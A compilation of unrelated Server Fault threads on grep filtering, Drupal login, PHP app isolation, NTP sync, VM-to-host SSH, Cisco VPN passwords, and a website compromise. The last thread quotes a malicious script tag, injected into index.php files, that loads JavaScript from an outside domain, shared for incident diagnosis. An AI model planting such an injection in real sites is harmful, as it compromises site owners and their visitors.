Egrep Regular Expression to suppress certain lines

i try to use the following command to suppress certain lines of output that contain the strings "DST=192.168.1" or "DST=192.168.2"

tail /var/log/messages | egrep -v -e 'DST=(192\.168\.1\.1)|DST=(192\.168\.2\.1)'

My Regex doesn't work, can someone provide me a working one?

From serverfault dude

• grep -v 'DST=192\.168\.[12]\.1'

  ought to do the trick.

  Don't even need egrep.

  --edit--

  If you want to match IPs that differ in a more substantial way:

  grep -v 'DST=\(a\.b\.c\.d\|x\.y\.z\.q\)'

  You can add more IPs by adding another \| followed by the next IP.

  In this case, you might actually want to use egrep (or grep -E, same thing) so it'll look a little nicer, like so:

  grep -E -v 'DST=(a\.b\.c\.d|x\.y\.z\.q)'

  dude : Thanks that works, can you give me also an expression for two different ipadresses like 192.168.1.1 and 239.x.x.x?

  dude : Works, as a charme, i just wonder why this doesn't work proper with colortail? there some ips slips through

  mark : I haven't used colortail so I can't be certain, but perhaps it requires extra escaping of \s or the like? Do you know what regular expression engine colortail uses? (standard, extended, or pcre?)

  dude : uh sorry, i don't know. but i switched to multitail as you suggested in the other thread and it works really fine.
  From mark

Login to drupal

I have issues logging into my newly installed drupal 6 website. I have installed a fresh copy of the drupal 6-19 and and haven't added any new modules yet.

When I enter my administrator user/pass and click login, The same first page is returned, with no sign of the reason of a login failure. When I login with an incorrect user/pass pair I get the appropriate errors.

I can't login to the system to see the reports. Is there any log file which I can review to trace the problem.

From serverfault Mostafa Mahdieh

• so you see the login to the left? even after logging in? when you login it will always bring you to the main page but you will have your nav bar to the left changed from a login form to links to admin and stuff.

  Chris S : Please post this as a comment, not an answer.

  PHGamer : if you've seen my rep you'll notice its below 50 that means I can only leave a comment on my own stuff.

  ErikA : PHGamer - don't abuse the system. Just like the rest of us, you'll need to wait until you have >50 rep.
  From PHGamer

Forcing scripts on apache to run under different accounts to enhance security?

My client's website was recently defaced and they are seeking was to mitigate this risk. They have a dedicated server running apache and mod_php. The website consists of three separate php applications installed in different folders (Customer portal script, wordpress and a custom database driven script). Their security audit recommended that each script be isolated so that if any of them was hacked, the other two would be safe from defacement etc. They also recommended using fast-cgi over mod_php. Suexec was also mentioned although its not clear why this was recommended.

Can someone please confirm if this makes sense and is actually possible/feasible. If so, what would be the best way to achieve the proposed security solution?

From serverfault Margaret Thorpe

• If so, what would be the best way to achieve the proposed security solution?

  Best use virtual machine(KVM,OpenVZ,XEN,Jail) for each site or use chroot(mod_chroot,php-fpm).

  From bindbn

• Hi,

  Using suPHP or suEXEC (+ fcgi/cgi) is a good decision for securing your server(separate the applications).

  But to do this, you need to have different vhost for the each of those applications, let's say for ex.: app1.domain.com , app2.domain.com, app3.domain.com. If your site structure is like this above, there won't be a problem to setup 3 virtual hosts, using 3 different users/groups for serving the php(with the mentioned methods - suexec,suphp).

  Margaret Thorpe : It is not setup like this, each app is in its own folder, not subdomain. What can I do in this situation?

  gryzli : In this case i don't know a way for isolating/separating the applications. But if it's a critical task, better try assign different domain names (subdomains).
  From gryzli

NTPD on RedHat ES4 not synching to Win2K3 domain controler

I'm having an incredibly difficult time trying to get my red hat server to sync its time to our 2K3 domain controller. I've been through numerous ntp.conf revisions and it always ends up that the domain controller is not even listed as a contender in the ntpq output. Even with my ntp.conf file at is most simple state:

server my.server.ip

it still fails to sync. It never receives an asterisk to indicate its synced up. If I include the local clock fudged to stratum 10 ntpd will even choose that over our domain controller. Something is quite wrong but I can't seem to figure out what. This command works as expected:

ntpdate my.server.ip

it sets the system clock appropriately so I believe communications are working just fine.

Please help. Thanks, Donovan

From serverfault Donovan

• You can add -x to the start of OPTIONS= in /etc/sysconfig/ntpd. This will force a one time synchronization when the service starts.

  For example: OPTIONS="-x -u ntp:ntp -p /var/run/ntpd.pid"

  If you restart the ntpd service and it fails to do a one time synchronization, go straight to syslog and post the related output here.

  Donovan : is that test still relevant if I am doing ntpdate -[mytimeserver] right before I start the service?

  Aaron Copley : You say that `ntpdate my.server.ip` works as expected. Let's focus on what's preventing ntpd from working. Paste up your `/etc/ntp.conf` and the output from syslog.
  From Aaron Copley

• "The W32Time service is not a full-featured NTP solution that meets time-sensitive application needs."

  IMHO it gives an answer to a simple ntpdate command, but it advertises itself as a non-reliable source to any ntpd client.

  From marcoc

remote login from VMware to my pc by ssh ?

i install VMware in my pc ... and i want to test something ...now i want to ask if i can login in my PC from My VMware which install in My PC ? to clear my question i want to execute the follwoing :- ssh -l user_name host_name command

From serverfault Osama Ahmad

• Instead of trying to ssh to localhost (which in this case is the VM) try to log into the IP of the parent host. I.e ssh ssh blah@ip.of.host command

  This is a bit setup dependent, but in a basic configuration it should work, especially in the vm->parent direction.

  nray : Remember also that your IP can be one of several, depending on which network the VM is configured to use - Bridged, NAT, Host-Only, etc.

  Osama Ahmad : but what you men by `blah`

  : "blah" is just a reference to any valid/working account.
  From MattyB

Decrypt Cisco VPN Group password

I am trying to connect to a VPN using Cisco VPN Client in-build on Mac Snow Leopard. The problem is that I have only the encrypted password. I tried some web sites to decrypt the password, but it does not work. Any idea?

From serverfault rtacconi

• If you could decrypt it without a supercomputer and a few thousand years of computing cycles, that would be a serious security flaw, wouldn't it?

  You might have to work on having the password changed on the host or going for the documentation of the sysadmins that set it up.

  From Bart Silverstrim

Information about recent code injection from http://superiot.ru

Hello,

I manage the hosting for a few dozen websites. Since about a week I've been finding this code in 12 different websites in theindex.php files:

<script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of    the actual javascript file differs
<!-- some hash here-->

Some of the websites are on different servers, some aren't. I'm just wondering if anyone else has been seeing this too.

Edit with some more information:

• All servers are centOS 5.3
• PHP versions are either 5.2.9 or 5.2.4
• Apache versions are either 2.2.3 or 1.3.39

From serverfault klennepette

• Are you using the same software on each of the websites in question?

  Looks like either a tainted CMS plugin or your sites have attracted some undesirable attention.

  klennepette : 2 of the websites use the Joomla CMS, the others are custom built. They don't seem to share a third party tool besides google analytics.

  danlefree : While there is still a strong likelihood that the attack was automated, you should probably respond to this incident as though a malicious user has access to your systems (because he probably does, if he bothers using it).
  From danlefree

• That javascript is added through an FTP exploit. If I recall, it finds the FTP account data through a hole in Joomla that exposes the FTP Layer user/password which Joomla so elegantly stores in the clear.

  You'll find any index., default., home.* may be affected. Also, pay particular attention to jquery.js that is locally maintained, it can modify that to add code to the bottom.

  From karmawhore